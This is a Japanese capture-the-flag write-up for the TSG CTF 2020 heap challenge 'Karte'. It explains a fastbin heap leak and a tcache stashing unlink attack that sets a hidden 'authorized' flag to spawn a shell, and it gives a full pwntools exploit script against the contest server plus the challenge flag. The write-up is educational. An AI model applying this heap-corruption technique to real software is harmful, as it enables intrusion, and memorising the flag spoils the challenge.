TSG CTF 2020 - Karte

これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU

Writeup

Outline

部分的なshow機能とより部分的なedit機能があるHeap問題、普通のHeap問題と違うのはmallocではなくreallocを使うことと、bssセクションにある変数に0でない値を入れて特定メニューを選択するとシェルが起動することである
free後にポインタを破棄しないため、UAFがあるが、チャンク指定がインデックスでは無く、bk, keyの位置に対応するidで行われるのでtcacheでこれをするにはまず、Heap leakをしなくてはならない。そのためにfastbinを利用してHeap leakをする
今回は任意の値の書き込みが実質bkにしか出来ないのでsmallbinの末端チャンクのbkを書き換えてから目標のアドレスをsmallbinに繋ぐ
次にsmallbinからmallocされる時にtcacheにチャンク群が入るのだが、この時のunlinkでチェックをすり抜けた上に良い感じに目標アドレスに値が入ってくれるのでここでシェル起動メニューを選択すればシェルが起動する

checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

このレベルのCTFでPIE無効だと逆に不穏さを感じる(実際生半可な問題では無かった)

Binary

libc: 2.31
保持可能ポインタ: 32
malloc可能サイズ: 0x50以上, 0xa1未満
コマンド
- allocate: サイズを指定してチャンクを確保、この際以後の識別用にidを指定する
- extend: idを指定してrealloc、サイズの変更が出来るが小さくすることは出来ない
- change_id: 指定したidのチャンクのidを変更する、任意書き込みが出来るのはここのみ
- show: sizeとidを表示する
- deallocate: idを指定してfree
- (隠し): authorized変数が0でなければシェルを起動する

allocate時には次のような構造体が作られる

struct karte {
    unsigned long long size;
    unsigned long long id;
    ...
};

sizeは実際のチャンクサイズではなく、ユーザーがコマンドで指定した値である。

準備

.bssセクションの構造だが次のようになっている

name        | 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00
name + 0x10 | 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00
authorized  | 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00

今回はname + 0x10の部分をsmallbinにまず繋ぐ、ここで名前入力時にnameにbkを偽装したチャンクを作る
name + 0x18がname + 0x10をチャンクとみなした際のbkになるのでここにauthorized - 0x10を入れておくとsmallbinは(smallbin top ->) ... -> name + 0x10 -> authorizedのようになってくれる
ここで下記に示すtcache stashing unlink attackを行うことでname + 0x10までのチャンクがtcacheに入るようにする。その際のunlinkでauthorizedのfdにはmain_arenaのbins[size]に対応するアドレスが入ってくれる

realloc

指定したチャンクのサイズを変更する関数で、この問題では何故かこいつが使われている
今回は(殆どの場合)出来ないが、サイズを小さくする際はチャンクを分割し、サイズヘッダを書き換える(分割されたチャンクのサイズが0x20を下回る場合は別の処理が走る)
大きくする場合は下が空いている場合はそこから削り出し、空いていない場合は該当チャンクをfreeしてから別のチャンクを取ってきてポインタを返す。よって部分的にfreeもmallocも出来る

Heap Leak

まずはheap leakをする。free時にポインタは破棄されずUAFがあるので簡単に出来るかと思いきや、tcacheはkeyメンバによってidを潰してしまうのでheap leakをするためにheap leakが必要になってしまう
そこでfastbinを使う。tcacheを全部埋めてからfreeしてfastbinに送ればidは生きているのでshowでsizeに相当する部分でfdが開示されHeap leakが出来る

smallbinからtcacheに移される仕様

smallbinからチャンクを取得する際に、tcacheに空きがあるならbkを順に辿っていくことでtcacheに格納される。
この時smallbinがFIFOなのに対してtcacheがLIFOなのでsmallbinに入っていた時とは逆の順番で格納される
なお、この際にsmallbinからunlinkされるのだが、通常のunlinkとは異なり、victim->bk->fd == victimのチェックが走らない。よってsmallbin中のあるチャンクのbkを変な値にしたところで怒られは発生しない(但し、実際はELFが関与できないアドレスで怒られが発生するのでそういう意味で問題無いアドレスにしておく必要がある)

tcache stashing unlink attack

このチェックの無さを悪用すればtcacheに任意アドレスを繋ぐことが出来る。具体的にはsmallbin中のbkの値を書き換える。
但し、tcacheへの格納終了条件が

tcacheが満杯になる
smallbinが空になる(リンクリストが一周してbin->bk == binになる)

であり、bkを書き換えると2. の条件を満たすことは無い。よってタイミング良くtcacheが満杯になるタイミングでname + 0x10をtcacheに繋ぐ必要がある。この際のunlinkで良い感じにauthorizedに値が入ってくれる

keyの改竄

上記の攻撃を実現するにはchange_idコマンドを実行する。このためには該当するチャンクのidを知る必要があるが、smallbinの末端のチャンクが対象であるので対応するbinのアドレスが必要である(main_arenaのbins[size])。
binの先頭にあるチャンクのfdにはbinのアドレスがあるのでここを読みたいのだが、それにもIDが必要になる。そこでleakしたHeapのアドレスが使われる
binの先頭にあるチャンクのbkは次に確保されるチャンクであるのでHeap leakが済んでいればそれを利用してidの特定が出来る。これでmain_arena中のbins[size]のアドレスをリークし、change_idで末端のチャンクのbkをauthorizedがsmallbin中で次に確保されるように書き換える、具体的にはnameの位置を指定する。
すると事前にnameを上手く構成しておいたのでsmallbinは(smallbin top ->) A -> B -> C -> D -> E -> F -> name + 0x10 -> authorizedのようになる。
これで上記のstashing unlinkが行われた時にname + 0x10までがtcacheに入り、authorizedのfdにbins[size]のアドレスが入る

まとめ

どのidをどうやって入手するのかがやや複雑

名前を入力する(tcache stashing unlink attackの際に発生するunlinkで上手くauthorizedに値が入るようにbkを偽装したチャンクを作っておく)
tcacheを埋めてfastbinに2つ以上チャンク送り、nextを読んでheap leakする
fastbinに入らないサイズでtcacheを埋めてからunsorted binに7つチャンクを送り、そこが取られないようなmallocを発動させてsmallbinに送る
smallbinの先頭のチャンクを利用してbinのアドレスをリークし、それをIDとしている末端のチャンクのbkをchange_idで書き換える
tcacheを空にし、更にもう一度mallocを発生させることで後続のチャンク群がsmallbinからtcacheに移される
この際のunlinkでauthorizedに数字が入ってくれるのでシェル起動コマンドを叩けばシェルが起動する

Code

from pwn import p64, u64, process, ELF, remote


def select(s, sel, c=b"> "):
    s.recvuntil(c)
    s.sendline(str(sel))


def alloc(s, id, size):
    select(s, 0)
    s.recvuntil(b"id > ")
    s.sendline(str(id))
    s.recvuntil(b"size > ")
    s.sendline(str(size))


def extend(s, id, size):
    select(s, 1)
    s.recvuntil(b"id > ")
    s.sendline(str(id))
    s.recvuntil(b"size > ")
    s.sendline(str(size))


def change_id(s, id, new_id):
    select(s, 2)
    s.recvuntil(b"id > ")
    s.sendline(str(id))
    s.recvuntil(b"new id > ")
    s.sendline(str(new_id))


def show(s, id):
    select(s, 3)
    s.recvuntil(b"id > ")
    s.sendline(str(id))
    s.recvuntil(b"id: ")
    res = tuple(map(lambda x: int(x, 16), s.recvline().rstrip().split(b" size: ")))
    ret = {
        "id": res[0],
        "size": res[1]
    }

    return ret


def deallocate(s, id):
    select(s, 4)
    s.recvuntil(b"id > ")
    s.sendline(str(id))


if __name__ == "__main__":
    # s = process("./karte")
    s = remote("35.221.81.216", 30005)
    elf = ELF("./karte")
    name_addr = elf.symbols["name"]
    auth_addr = elf.symbols["authorized"]
    libc = ELF("./libc.so.6")
    s.recvuntil(b"> ")
    name = p64(0) * 3 + p64(name_addr + 0x10)
    s.sendline(name[:0x1e])

    # heap leak from fastbin
    for i in range(9):
        alloc(s, i + 100, 0x78)

    for i in range(9):
        deallocate(s, i + 100)

    heap_base = show(s, 108)["size"] - 0x610
    tps = heap_base + 0x10
    print(hex(heap_base))

    for i in range(14):
        alloc(s, 1000 + i, 0x88)

    # fill tcache
    for i in range(13, 0, -2):
        deallocate(s, i + 1000)

    # to unsorted bin
    for i in range(12, -1, -2):
        deallocate(s, i + 1000)

    # to smallbin
    alloc(s, 10000, 0x98)

    key = heap_base + 0xcb0
    libc_key = show(s, key)["size"]
    print(hex(libc_key))

    # ready for stashing unlink attack
    change_id(s, libc_key, name_addr)

    # empty tcache
    for i in range(7):
        alloc(s, 10 + i, 0x88)

    # tcache stashing unlink attack
    alloc(s, 21, 0x88)

    select(s, 5)

    s.interactive()

Flag

当日は別のチームメイトが提出しましたが鯖が生きていたのでやりました
TSGCTF{Realloc_is_all_you_need~}

(フラグ見て思い出したけどそういえばextend使って無い…)

感想

TSG CTF 2020 - Detectiveもそうでしたが普通のHeap問題にありがちなhookにシェル起動アドレスを放り込むといった問題が少なくて典型問題に慣れているだけでは解けない良問が揃っていました
今回は特にインデックスではなくidで対象のチャンクを選ぶというシステムだったのでfree後に各binに入った際にfd, bk(tcacheの場合はnext, key)がどうなるかを把握している必要があり、良い復習になりました
tcache stashing unlink attackのようなtcacheを優先して使わせるという仕様を利用した問題もこれが初めてで非常に面白かったです。

(追記)
tcache stashing unlink attackの解説書きました: tcache stashing unlink attack

参考文献

https://github.com/shellphish/how2heap/blob/master/glibc_2.26/tcache_stashing_unlink_attack.c: CTF開始4時間前に読んでいたのを思い出してチームメイトに提供したら実装してくれた
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3639: smallbinの挙動、本当はここに書いてあることを超丁寧にまとめようと思ったが1つのWriteupを書く時点で面倒だったのでやめた、気が向いたら別件でやります